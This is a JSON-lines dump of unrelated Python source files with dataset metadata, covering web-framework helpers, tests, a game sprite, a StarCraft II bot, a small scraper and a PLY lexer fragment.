max((args['subtasks_per_hit'] - 1), 1)\n ) # release enough hits to finish all annotations requested\n\n # Task display on MTurk\n args['task_config'] = {\n 'hit_title': 'Which Conversational Partner is Better?',\n 'hit_description': 'Evaluate quality of conversations through comparison.',\n 'hit_keywords': 'chat,evaluation,comparison,conversation',\n }\n\n return args\n\n\nif __name__ == '__main__':\n args = set_args()\n runner = AcuteEvaluator(args)\n runner.run()\n","sub_path":"parlai/mturk/tasks/acute_eval/example_script.py","file_name":"example_script.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"401440598","text":"# -*- coding: utf-8 -*-\n\n# This can't be named 'git.py' as it will conflict with our software tool for\n# detecting Git.\n\n\"\"\"Git helpers\"\"\"\n\nimport waflib\nfrom waflib.Configure import conf\n\ndef _run_git_ls_files(ctx, args):\n \"\"\"Run ``git ls-files`` with the specified arguments.\n\n :return: set of file names\n :rtype: :class:`set`\n \"\"\"\n return set(ctx.cmd_and_log(\n ['git', 'ls-files'] + args, quiet=waflib.Context.STDOUT).splitlines())\n\n@conf\ndef get_git_files(self, dir_='.'):\n \"\"\"Retrieve a list of all Git non-ignored files, including untracked\n files, excluding deleted files, within a specific directory.\n\n :param dir: directory to list, default is current directory\n :return: sorted list of git project files\n :rtype: :class:`list`\n \"\"\"\n cached_and_untracked_files = _run_git_ls_files(self, [\n '--cached', # All files cached in the index\n '--others', # Untracked files\n # Exclude untracked files that would be excluded by .gitignore,\n # etc.\n '--exclude-standard',\n dir_,\n ])\n uncommitted_deleted_files = _run_git_ls_files(self, ['--deleted', dir_])\n\n # Since sorting of files in a set is arbitrary, return a sorted list to\n # provide a well-defined order to other tools.\n return sorted(cached_and_untracked_files - uncommitted_deleted_files)\n","sub_path":"waf-tools/dev/git_files.py","file_name":"git_files.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"324741347","text":"# coding:utf-8\n\nimport functools\n\nfrom utils.response_code import RET\n\n\ndef required_login(fun):\n @functools.wraps(fun)\n def wrapper(request_handler_obj, *args, **kwargs):\n\n if not request_handler_obj.get_current_user():\n # 如果用户未登录\n resp_data = {\n \"errno\": RET.SESSIONERR,\n \"errmsg\": \"用户未登录\"\n }\n # 返回一个json数据\n request_handler_obj.write(resp_data)\n else:\n # 如果用户已登录\n fun(request_handler_obj, *args, **kwargs)\n return wrapper\n\n\n\n\n\n# def itcast(fun):\n#\n# @functools.wraps(fun)\n# def wrapper(*args, **kwargs):\n# \"\"\"wrapper fun doc\"\"\"\n# print(\"wrapper\")\n# fun(*args, **kwargs)\n#\n# return wrapper\n#\n#\n# @itcast\n# def say_hello():\n# \"\"\"say_hello fun doc\"\"\"\n# pass\n#\n#\n# if __name__ == '__main__':\n# print(say_hello.__name__) # wrapper.__name__\n# print(say_hello.__doc__) # wrapper.__doc__\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"iHome/utils/commons.py","file_name":"commons.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"642473828","text":"from django.contrib import admin\nfrom .models import StockRec\n# Register your models here.\n\n\nclass StockRecAdmin(admin.ModelAdmin):\n '''\n Admin View for StockRec\n '''\n list_display = ('buyitem','amount','date','frozen','inout',)\n list_filter = ('frozen','inout',)\n search_fields = ('buyitem',)\n\nadmin.site.register(StockRec, StockRecAdmin)","sub_path":"stock/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"96540518","text":"from typing import List\n\n\nclass Solution:\n def hIndex(self, citations: List[int]) -> int:\n citations.sort()\n index = 1\n num = 0\n\n for i in range(len(citations)-1, -1, -1):\n if citations[i] >= index:\n index += 1\n num += 1\n else:\n return num\n return num\n","sub_path":"h-index/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"198590589","text":"from app import create_app, db\nfrom app.models import User, Parcel, Role\nfrom flask_script import Manager, Server\nfrom flask_migrate import Migrate, MigrateCommand\n\napp = create_app('production')\nmanager = Manager(app)\nmanager.add_command('server', Server)\n\nmigrate = Migrate(app,db)\nmanager.add_command('db', MigrateCommand)\n\n@manager.shell\ndef make_shell_context():\n return dict(app=app, db=db, User=User, Parcel=Parcel, Role=Role)\n\n\nmanager.add_command('server', Server)\n@manager.command\ndef test():\n import unittest\n test = unittest.TestLoader().discover('test')\n unittest.TextTestRunner(verbosity=2).run(test)\n\nif __name__ == '__main__':\n manager.run()\n","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"300074446","text":"#!/usr/bin/python\n'''Listing equivalent softwares\n\n Input:\n *version: ${nameNode}${outputDir}/${version}/final.txt must be\n a sorted key_1/key_2 based text file e.g key1_1[separator]key1_2\n key2_1[separator]key2_2\n ...\n with (keyi_1,keyi_2)<(keyj_1,keyj_2) ithreshold and P(y|x)>threshold)\n each line is formatted as follows: soft1[separator]soft2[separator]...\n '''\nfrom sys import stdout\nimport subprocess\nimport networkx as nx\nimport argparse\nimport re\nfrom itertools import ifilter\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"fichier\")\nparser.add_argument(\"version\")\nfichier = parser.parse_args().fichier\nversion = parser.parse_args().version\nr = re.compile(\"####.*\")\nf = open(\"{}\".format(fichier),\"wb\")\nG = nx.DiGraph()\ncmd = \"hadoop fs -cat output-data/{}/final.txt\".format(version)\nproc = subprocess.Popen(cmd, shell=True, bufsize=256, stdout=subprocess.PIPE)\nwhile True:\n line = proc.stdout.readline()\n if not line:\n break\n line = line.rstrip().split('\\t')\n G.add_edge(line[0], line[1])\nlist_connected = nx.strongly_connected_components(G)\nfor item in list_connected:\n if len(item)>1:\n try:\n item.insert(0, item.pop(item.index(ifilter(r.search, item).next())))\n f.write('{}\\n'.format('\\t'.join(item)))\n except StopIteration:\n f.write('{}\\n'.format('\\t'.join(item)))\nf.close()\n","sub_path":"recommendation/config/connected_catalogue.py","file_name":"connected_catalogue.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"169659962","text":"import pygame\nimport random\n\nclass Hero(pygame.sprite.Sprite):\n\tdef __init__(self, image, height, width, x, y):\n\t\tpygame.sprite.Sprite.__init__(self)\n\t\tself.image = pygame.image.load(image)\n\t\tself.rect = self.image.get_rect()\n\t\tself.height = height\n\t\tself.width= width\n\t\tself.rect.x = x\n\t\tself.rect.y = y\n\t\tself.health = 3 #How many lives do we want him having?\n\t\tself.change_x = 0\n\t\tself.change_y = 0\n\t\tself.jumpcounter = 0\n\t\tself.direction = \"\"\n\t\tself.hitList = []\n\t\tself.isTouchingdoor = False\n\t\tself.dead = False\n\n\n\tdef checkCollide(self, platforms, door,lava):\n\t\t'''checks if the Hero collides with a platform'''\n\t\tself.hitList = []\n\t\tfor tile in platforms:\n\t\t\tif self.rect.colliderect(tile):\n\t\t\t\t\tself.hitList.append(tile)\n\t\tif self.rect.colliderect(door):\n\t\t\tself.isTouchingdoor = True\n\t\tfor tile in lava:\n\t\t\tif self.rect.colliderect(tile):\n\t\t\t\t\tself.dead = True\n\n\n\t'''these functions allow a player to move left/right and jump in a level'''\n\tdef move_left(self):\n\t\tself.change_x = -10\n\t\tself.direction = \"L\"\n\tdef move_right(self):\n\t\tself.change_x = 10\n\t\tself.direction = \"R\"\n\tdef jump(self,platforms, door, lava): #going to have to fix this\n\n\t\tself.rect.y += 2\n\t\tself.checkCollide(platforms, door, lava)\n\t\tself.rect.y -= 2\n\n\t\t# If it is ok to jump, set our speed upwards\n\t\tif len(self.hitList) > 0 or self.rect.bottom >= 800:\n\t\t\tself.change_y = -20\n\n#def shout(self, enemy):\n\t'''allows the player to retain gravity, the player is now able to float back down'''\n# this function was from the player class in pyscroller\n\tdef calc_grav(self):\n\t\tif self.change_y == 0:\n\t\t\tself.change_y = 3\n\t\telse:\n\t\t\tself.change_y += 1.25\n\n\t\t# See if we are on the ground.\n\t\tif self.rect.y >= 800 - self.rect.height and self.change_y >= 0:\n\t\t\tself.change_y = 0\n\t\t\tself.rect.y = 800 - self.rect.height\n\n\tdef update(self, platforms,door,lava):\n\t\t#updated a lot in this function, we have to work on the self.Platform.platform_list\n\t\t#and make it work again, we can work on that tomorrow\n\t\t''' updates a players current position and blits him onto th screen'''\n\t\tself.calc_grav()\n\t\tself.rect.x += self.change_x\n\t\t# See if we hit anything\n\t\tself.checkCollide(platforms,door,lava)\n\t\tfor block in self.hitList:\n\t\t# set our right side to the left side of the item we hit\n\t\t\tif self.change_x > 0:\n\t\t\t\tself.rect.right = block.left\n\t\t\telif self.change_x < 0:\n\t\t\t# Otherwise if we are moving left, do the opposite.\n\t\t\t\tself.rect.left = block.right\n\n\t\tself.rect.y += self.change_y\n\t\t# Check and see if we hit anything\n\t\tself.checkCollide(platforms, door,lava)\n\t\tfor block in self.hitList:\n\t\t# Reset our position based on the top/bottom of the object.\n\t\t\tif self.change_y > 0:\n\t\t\t\tself.rect.bottom = block.top\n\t\t\telif self.change_y < 0:\n\t\t\t\tself.rect.top = block.bottom\n\t\t\tself.change_y = 0\n","sub_path":"files/Hero.py","file_name":"Hero.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"64791795","text":"from math import pi\nfrom sc2.constants import AbilityId, UnitTypeId\n\nclass Attack(object):\n\n def __init__(self, bot):\n self.bot = bot\n self.scout_index = -1\n self.scout_tag = None\n self.attacking = False\n\n def units_excluding_scout(self):\n def is_not_scout(unit):\n return unit.tag != self.scout_tag\n return self.bot.units(UnitTypeId.MARINE).filter(is_not_scout) | self.bot.units(UnitTypeId.MARAUDER) | self.bot.units(UnitTypeId.MEDIVAC)\n\n def find_unit_by_tag(self, unit_tag):\n for unit in self.bot.units:\n if unit.tag == unit_tag:\n return unit\n return None\n\n async def on_step(self, iteration):\n cc = self.bot.units(UnitTypeId.COMMANDCENTER)\n if not cc.exists:\n target = self.bot.known_enemy_structures.random_or(self.bot.enemy_start_locations[0]).position\n for unit in self.bot.workers | self.bot.units(UnitTypeId.MARINE):\n await self.bot.do(unit.attack(target))\n return\n else:\n cc = cc.first\n\n await self.attack(iteration, cc)\n await self.scout(iteration, cc)\n\n async def attack(self, iteration, cc):\n if iteration % 4 == 0:\n return\n\n staging_pick_distance = 15\n reaction_distance = 75\n\n rally_point = cc.position.towards(self.bot.game_info.map_center, distance=22)\n\n near_cc_count = self.units_excluding_scout().closer_than(staging_pick_distance, cc.position).amount\n near_rally_count = self.units_excluding_scout().closer_than(staging_pick_distance, rally_point).amount\n\n base_attackers = self.bot.known_enemy_units.closer_than(15, cc)\n all_enemies = self.bot.known_enemy_units + self.bot.known_enemy_structures + self.bot.enemy_start_locations\n all_units = self.units_excluding_scout()\n\n if self.attacking and iteration % 10 == 0:\n for unit in all_units:\n enemy_units = self.bot.units.enemy.prefer_close_to(unit.position)[:0]\n if len(enemy_units) > 0:\n await self.bot.do(unit.attack(self.bot.units.enemy.prefer_close_to(unit.position)[:0]))\n elif len(all_enemies) > 0:\n await self.bot.do(unit.attack(all_enemies[0]))\n\n if base_attackers.amount > 3 and iteration % 10 == 0:\n for unit in self.units_excluding_scout() | self.bot.units(UnitTypeId.SCV):\n await self.bot.do(unit.attack(base_attackers[0].position))\n\n elif self.bot.known_enemy_units.amount > 0 and (near_cc_count + near_rally_count > 50) and iteration % 5 == 0:\n closest_enemy = self.bot.known_enemy_units.closest_to(cc)\n for unit in self.units_excluding_scout().closer_than(reaction_distance, closest_enemy):\n await self.bot.do(unit.attack(closest_enemy))\n\n elif near_cc_count > 5 and iteration % 5 == 0:\n for unit in self.units_excluding_scout().closer_than(staging_pick_distance, cc.position):\n await self.bot.do(unit.attack(rally_point))\n\n elif self.units_excluding_scout().amount > 40:\n self.attacking = True\n target = self.bot.known_enemy_structures.random_or(self.bot.enemy_start_locations[0]).position\n if len(all_enemies) > 0:\n print(f'Over limit units and late enough -> ATTACK')\n for unit in all_units:\n await self.bot.do(unit.attack(target))\n elif self.bot.has_flag(\"spreadscout\") and iteration % 30 == 0:\n print(f'Spreadscout time!')\n # No known enemies - try to find some\n for unit in all_units:\n await self.bot.do(unit.attack(unit.position.towards_random_angle(cc.position, max_difference=2*pi, distance=45)))\n\n elif iteration % 20 == 0:\n # Rally up\n for unit in self.units_excluding_scout():\n await self.bot.do(unit.attack(rally_point))\n\n async def scout(self, iteration, cc):\n\n # Retreat if enemies\n scout = self.find_unit_by_tag(self.scout_tag)\n if scout and self.bot.known_enemy_units.closer_than(50, scout.position):\n print(f'Retreating!')\n await self.bot.do(scout.move(cc.position))\n\n if not iteration % 150 == 0:\n return\n\n print(f'Found scout {scout}')\n\n if scout == None:\n # Assign scout if available\n if self.bot.units(UnitTypeId.MARINE).idle.amount > 3:\n marine = self.bot.units(UnitTypeId.MARINE).first\n print(f'Assigned marine {marine.tag} to scout')\n self.scout_tag = marine.tag\n scout = marine\n\n # Scout\n if scout:\n print(f'Scouting with {scout}')\n enemy_positions = [x.position for x in self.bot.enemy_start_locations]\n expansion_positions = [x.position for x in self.bot.expansion_locations]\n scout_set = enemy_positions + expansion_positions\n\n if len(scout_set) > 0:\n self.scout_index = (self.scout_index + 1) % len(scout_set)\n print(f'Next scout target index: {self.scout_index} from {len(scout_set)}')\n await self.bot.do(scout.attack(scout_set[self.scout_index]))\n else:\n print(f'No scoutable area, doing random scouting')\n await self.bot.do(scout.attack(scout.position.towards_random_angle(cc.position, max_difference=2*pi, distance=45)))\n","sub_path":"bot/attack.py","file_name":"attack.py","file_ext":"py","file_size_in_byte":4996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"302044763","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division, absolute_import\n\nimport numba\nfrom numba import *\nfrom numba import error, nodes\nfrom numba.type_inference import module_type_inference\nfrom numba import typesystem\n\nif PY3:\n import builtins\nelse:\n import __builtin__ as builtins\n\ndebug = False\n#debug = True\n\ndef resolve_function(func_variable):\n \"Get a function object given a function name\"\n func = None\n func_type = func_variable.type\n\n if func_type.is_builtin:\n func = getattr(builtins, func_variable.name)\n elif func_type.is_global:\n func = func_type.value\n elif func_type.is_module_attribute:\n func = getattr(func_type.module, func_type.attr)\n elif func_type.is_autojit_function:\n func = func_type.autojit_func\n elif func_type.is_jit_function:\n func = func_type.jit_func\n\n return func\n\ndef infer_typefunc(context, call_node, func_type, default_node):\n func_var = call_node.func.variable\n if func_var.is_constant:\n func_type = typesystem.known_value(func_var.constant_value)\n\n if (func_type.is_known_value and\n module_type_inference.is_registered(func_type.value)):\n # Try the module type inferers\n result_node = module_type_inference.resolve_call_or_none(\n context, call_node, func_type)\n if result_node:\n return result_node\n\n return default_node\n\ndef parse_signature(node, func_type):\n types = []\n for arg in node.args:\n if not arg.variable.type.is_cast:\n raise error.NumbaError(arg, \"Expected a numba type\")\n else:\n types.append(arg.variable.type)\n\n signature = func_type.dst_type(*types)\n new_node = nodes.const(signature, typesystem.meta(signature))\n return new_node\n","sub_path":"oldnumba/type_inference/infer_call.py","file_name":"infer_call.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"420497670","text":"#---------------------------------------------------------------------------\n# Copyright 2015 The Open Source Electronic Health Record Alliance\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#---------------------------------------------------------------------------\n\nfrom builtins import str\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.support.ui import Select\nfrom vivian_test_utils import setup_webdriver\nimport unittest\nimport re\nimport time\n\nclass test_pkgdepchart(unittest.TestCase):\n @classmethod\n def tearDownClass(cls):\n driver.quit()\n\n # TODO: This test was written for the circular graph, create an equivalent\n # test for the bar chart\n def DISABLE_test_01_dep_bar_tooltip(self):\n pass\n\n def test_02_dep_bar_content(self):\n # Ensure that the there is some data for both depends and dependents\n chart_container = driver.find_elements_by_class_name(\"highcharts-series\")\n for type in chart_container: # depends, dependents\n rects = type.find_elements_by_tag_name(\"rect\")\n for rect in rects:\n if int(rect.get_attribute(\"height\")) > 0:\n break\n else:\n self.fail(\"Failed to find data in Dependency Chart\")\n\n # Check for data labels - make sure they exist and aren't all \"0\"\n labels_list = driver.find_elements_by_class_name(\"highcharts-data-labels\")\n for type in labels_list: # depends, dependents\n labels = type.find_elements_by_tag_name(\"text\")\n for label in labels:\n if label.text != \"0\":\n break\n else:\n self.fail(\"Failed to find data labels in Dependency Chart\")\n\n # Ensure that each package is only included once\n labels = driver.find_elements_by_class_name(\"highcharts-xaxis-labels\")[1]\n package_names = []\n for item in labels.find_elements_by_xpath(\".//a[@href]\"):\n package_names.append(str(item.get_attribute('innerHTML')))\n self.assertEqual(len(package_names), len(set(package_names)), \"Package names should be unique\")\n\n # Read title of graph\n title_element = driver.find_element_by_class_name(\"highcharts-title\")\n self.assertEqual(title_element.text, 'VistA Packages Dependencies Chart')\n\n # Ensure that legends have proper information\n dep_chart_legend = ['depends', 'dependents']\n chart_legend = driver.find_element_by_class_name(\"highcharts-legend\")\n legend_array = chart_legend.find_elements_by_tag_name(\"text\")\n for item in legend_array:\n self.assertTrue(item.get_attribute(\"innerHTML\") in dep_chart_legend)\n\n def test_03_dep_bar_sort(self):\n # Check each of the \"Sort By\" selections to ensure that\n # the first element is found in top_entries array\n dep_pulldown = driver.find_element_by_id(\"list-dep\")\n pulldown_options = Select(dep_pulldown)\n\n # Name\n pulldown_options.select_by_visible_text(\"Name\")\n time.sleep(5)\n self.assertEqual(driver.find_element_by_xpath(\"//*[@id='highcharts-0']/div/span[1]\").text, \"A1BF Response Time\")\n\n # Dependencies\n pulldown_options.select_by_visible_text(\"Dependencies\")\n time.sleep(5)\n self.assertEqual(driver.find_element_by_xpath(\"//*[@id='highcharts-0']/div/span[1]\").text, \"Order Entry Results Reporting\") #in dep_chart_top_entries)\n\n # Dependents\n pulldown_options.select_by_visible_text(\"Dependents\")\n time.sleep(5)\n self.assertEqual(driver.find_element_by_xpath(\"//*[@id='highcharts-0']/div/span[1]\").text, \"Kernel\")\n\n def test_04_bar_switch(self):\n btn_group = driver.find_element_by_class_name(\"btn-group\")\n for btn in btn_group.find_elements_by_tag_name(\"label\"):\n type = btn.text.split(' ')[0]\n btn.click()\n self.assertTrue(\"active\" in btn.get_attribute(\"class\"))\n time.sleep(5)\n\n def DISABLE_test_05_stats_bar_tooltip(self):\n pass\n\n def test_06_stats_bar_content(self):\n # Ensure that the there is some data for both routines, files and fields\n chart_container = driver.find_elements_by_class_name(\"highcharts-series\")\n for type in chart_container: # routines, files and fields\n rects = type.find_elements_by_tag_name(\"rect\")\n for rect in rects:\n if rect.get_attribute(\"height\") > 0:\n break\n else:\n self.fail(\"Failed to find data in Stats Chart\")\n\n # Check for data labels - make sure they exist and aren't all \"0\"\n labels_list = driver.find_elements_by_class_name(\"highcharts-data-labels\")\n for type in labels_list: # routines, files and fields\n labels = type.find_elements_by_tag_name(\"text\")\n for label in labels:\n if label.text != \"0\":\n break\n else:\n self.fail(\"Failed to find data labels in Stats Chart\")\n\n # Ensure that each package is only included once\n labels = driver.find_elements_by_class_name(\"highcharts-xaxis-labels\")[1]\n package_names = []\n for item in labels.find_elements_by_xpath(\".//a[@href]\"):\n package_names.append(str(item.get_attribute('innerHTML')))\n self.assertEqual(len(package_names), len(set(package_names)), \"Package names should be unique\")\n\n # Read title of graph\n title_element = driver.find_element_by_class_name(\"highcharts-title\")\n self.assertEqual(title_element.text, 'VistA Package Statistics')\n\n # Ensure that legends have proper information\n stat_chart_legend = ['routines', 'files', 'fields']\n chart_legend = driver.find_element_by_class_name(\"highcharts-legend\")\n legend_array = chart_legend.find_elements_by_tag_name(\"text\")\n for item in legend_array:\n self.assertTrue(item.get_attribute(\"innerHTML\") in stat_chart_legend)\n\n def test_03_dep_bar_sort(self):\n # Check each of the \"Sort By\" selections to ensure that\n # the first element is found in top_entries array\n dep_pulldown = driver.find_element_by_id(\"list-dep\")\n pulldown_options = Select(dep_pulldown)\n\n # Name\n pulldown_options.select_by_visible_text(\"Name\")\n time.sleep(5)\n self.assertEqual(driver.find_element_by_xpath(\"//*[@id='highcharts-0']/div/span[1]\").text, \"A1BF Response Time\")\n\n # Routines\n pulldown_options.select_by_visible_text(\"Routines\")\n time.sleep(5)\n self.assertEqual(driver.find_element_by_xpath(\"//*[@id='highcharts-0']/div/span[1]\").text, \"Automated Information Collection System\")\n\n # Files\n pulldown_options.select_by_visible_text(\"Files\")\n time.sleep(5)\n self.assertEqual(driver.find_element_by_xpath(\"//*[@id='highcharts-0']/div/span[1]\").text, \"Integrated Billing\")\n\n # Fields\n pulldown_options.select_by_visible_text(\"File Fields\")\n time.sleep(5)\n self.assertEqual(driver.find_element_by_xpath(\"//*[@id='highcharts-0']/div/span[1]\").text, \"Integrated Billing\")\n\n\nif __name__ == '__main__':\n description = \"Test package dependency bar chart\"\n page = \"vivian/vista_pkg_dep_chart.php\"\n webroot, driver, browser = setup_webdriver(description, page)\n suite = unittest.TestLoader().loadTestsFromTestCase(test_pkgdepchart)\n unittest.TextTestRunner(verbosity=2).run(suite)\n","sub_path":"Visual/test/test_pkg_dependency_chart.py","file_name":"test_pkg_dependency_chart.py","file_ext":"py","file_size_in_byte":7690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"153041387","text":"# -*- coding:utf-8 -*-\n\n\"\"\"\ncreate on July 6,2016\n@author:Wayne\nFunction:plotting trees in python with matplotlib annotations\n\"\"\"\nimport matplotlib.pyplot as plt\n\ndecision_node = dict(boxstytle=\"sawtooth\", fc=\"0.8\")\nleaf_node = dict(boxstyle=\"round4\", fc=\"0.8\")\narrow_args = dict(arrowstyle=\"<-\")\n\n\ndef plot_node(node_text, center_pt, parent_pt, node_type):\n create_plot.ax1.annotate(node_text, xy=parent_pt, xycoords='axes fraction',\n xytext=center_pt, textcoords='axes fraction',\n va='center', ha='center', bbox=node_type, arrowprops= arrow_args)\n\n\ndef create_plot():\n fig = plt.figure(1, facecolor='white')\n fig.clf()\n create_plot().ax1 = plt.subplot(111, frameon=False)\n plot_node('a decision node', (0.5, 0.1), (0.1, 0.5), decision_node)\n plot_node('a leaf node', (0.8, 0.1), (0.3, 0.8), leaf_node)\n plt.show()\n\n\n","sub_path":"Python实现主流机器学习算法/03-DecisionTree/treePlotter.py","file_name":"treePlotter.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"205272815","text":"# -*- coding: utf-8 -*-\nfrom utils.fileutils import get_resource\n\n__author__ = 'Sergio Barbosa Fernández '\n__date__ = '23/08/14'\n__version__ = 0.01\n\n_inited = False\n\n\ndef _init_mimetypes():\n import mimetypes\n global _inited\n mimetypes.init([get_resource(\"mime.types\")])\n _inited = True\n\n\ndef get_types_map():\n import mimetypes\n if not _inited:\n _init_mimetypes()\n return mimetypes.types_map\n\n \n# EPUB Core Media Types\nMEDIA_MIMETYPES = {\n # Images types:\n \".gif\": \"image/gif\",\n \".jpg\": \"image/jpeg\",\n \".png\": \"image/png\",\n \".svg\": \"image/svg+xml\",\n # Application Types:\n \".xhtml\": \"application/xhtml+xml\",\n \".html\": \"application/xhtml+xml\",\n \".ncx\": \"application/x-dtbncx+xml\", # The superseded NCX\n \".opentype\": \"application/vnd.ms-opentype\", # Open fonts\n \".woff\": \"application/font-woff\", # WOFF fonts\n \".smil\": \"application/smil+xml\", # EPUB media overlay documents\n \".pls\": \"application/pls+xml\", # Text-To-Speech\n \".toc\": \"application/x-dtbncx+xml\",\n # Font Types:\n \".ttf\": \"font/truetype\", # True Type Fonts\n \".otf\": \"font/opentype\", # Open Type Fonts\n # Audio Types:\n \".mp3\": \"audio/mpeg\", # mp3 audio\n \".mp4\": \"audio/mp4\", # AAC LC audio using MP4 container\n # Text Types:\n \".css\": \"text/css\", # EPUB Style Sheets\n \".js\": \"text/javascript\" # Scripts\n}\n\n# EPUB Mimetypes\nEPUB_MIMETYPES = {\n \".epub\": \"application/epub+zip\",\n \".media_type\": \"application/oebps-package+xml\"\n}\n\n\n","sub_path":"core/mimetypes.py","file_name":"mimetypes.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"220774791","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[7]:\n\n\n#Question 17\n\nx= input('enter the set of numbers :(enter space seperatedvalue):')\nlist1= x.split(\" \")\nres=[]\nfor i in list1:\n n = int(i)\n for j in range(2,int(n/2)):\n if(n%j == 0):\n break\n else:\n res.append(n)\nprint(res)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Q17.py","file_name":"Q17.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"371638216","text":"#!/usr/bin/env python\n\nimport glob\nimport os\nimport sys\nsys.path.insert(0, os.pardir)\nfrom testing_harness import TestHarness\n\n\nclass OutputTestHarness(TestHarness):\n def _test_output_created(self):\n \"\"\"Make sure output files have been created.\"\"\"\n # Check for the statepoint.\n TestHarness._test_output_created(self)\n\n # Check for the summary.\n summary = glob.glob(os.path.join(os.getcwd(), 'summary.*'))\n assert len(summary) == 1, 'Either multiple or no summary file exists.'\n assert summary[0].endswith('h5'),\\\n 'Summary file is not a HDF5 file.'\n\n def _cleanup(self):\n TestHarness._cleanup(self)\n output = glob.glob(os.path.join(os.getcwd(), 'summary.*'))\n output.append(os.path.join(os.getcwd(), 'cross_sections.out'))\n for f in output:\n if os.path.exists(f):\n os.remove(f)\n\n\nif __name__ == '__main__':\n harness = OutputTestHarness('statepoint.10.*')\n harness.main()\n","sub_path":"tests/test_output/test_output.py","file_name":"test_output.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"617847475","text":"import urllib\nimport urllib.request\nimport re\n\n\nurl = 'http://www.zhihu.com/answer/15024185/voters_profile?total=138&offset=30&follows=9fnQNBOLLln6knzZv17KzONKTRYjrQI10z62gAE='\nreq = urllib.request.Request(url)\nreq.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0')\npage = urllib.request.urlopen(req)\nhtml = page.read().decode('utf-8')\nprint (html)\n#print(html.decode('unicode-escape'))\n\n'''\n#获取人名 ×\n#待用name = r'title=\\\\\".+?\"'\n#错误name = r'\\\\\">\\\\.+?\\\\n'\nnamelist = re.findall(name,html)\nl2 = []\n[l2.append(i) for i in namelist if not i in l2]\nfor each in l2:\n print (each)\n'''\n'''\n#获取点赞数√\nvotes = r'[_a-zA-Z0-9_]{0,10} \\\\u8d5e\\\\u540c'\nvoteslist = re.findall(votes,html)\n\nfor each in voteslist:\n print (each)\n'''\n'''\n#获取感谢数√\nthank = r'[_a-zA-Z0-9_]{0,10} \\\\u611f\\\\u8c22'\nthanklist = re.findall(thank,html)\n\nfor each in thanklist:\n print (each)\n'''\n'''\n#获取提问数√\nques = r'[_a-zA-Z0-9_]{0,10} \\\\u63d0\\\\u95ee'\nqueslist = re.findall(ques,html)\n\nfor each in queslist:\n print (each)\n'''\n'''\n#获取回答数√\nans = r'[_a-zA-Z0-9_]{0,10} \\\\u56de\\\\u7b54'\nanslist = re.findall(ans,html)\n\nfor each in anslist:\n print (each)\n'''\n\n#获取个人主页地址\nvpage = r'http://www.zhihu.com/people/..{0,40}\\\\\" target'\nvpagelist = re.findall(vpage,html)\n\nfor each in vpagelist:\n print (each)\n\n#|<[^>]*>)', '', html)\n html = html.split()\n\n for word in html:\n if not word in unique:\n unique.append(word)\n\n for foo in unique:\n h.write(foo + \"\\n\")\n","sub_path":"Python/unique_words.py","file_name":"unique_words.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"398976181","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3350)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/test/ply_test.py\n# Compiled at: 2017-09-08 11:08:24\n# Size of source mod 2**32: 2312 bytes\ntokens = ('NAME', 'NUMBER', 'PLUS', 'MINUS', 'TIMES', 'DIVIDE', 'EQUALS', 'LPAREN',\n 'RPAREN')\nt_PLUS = '\\\\+'\nt_MINUS = '-'\nt_TIMES = '\\\\*'\nt_DIVIDE = '/'\nt_EQUALS = '='\nt_LPAREN = 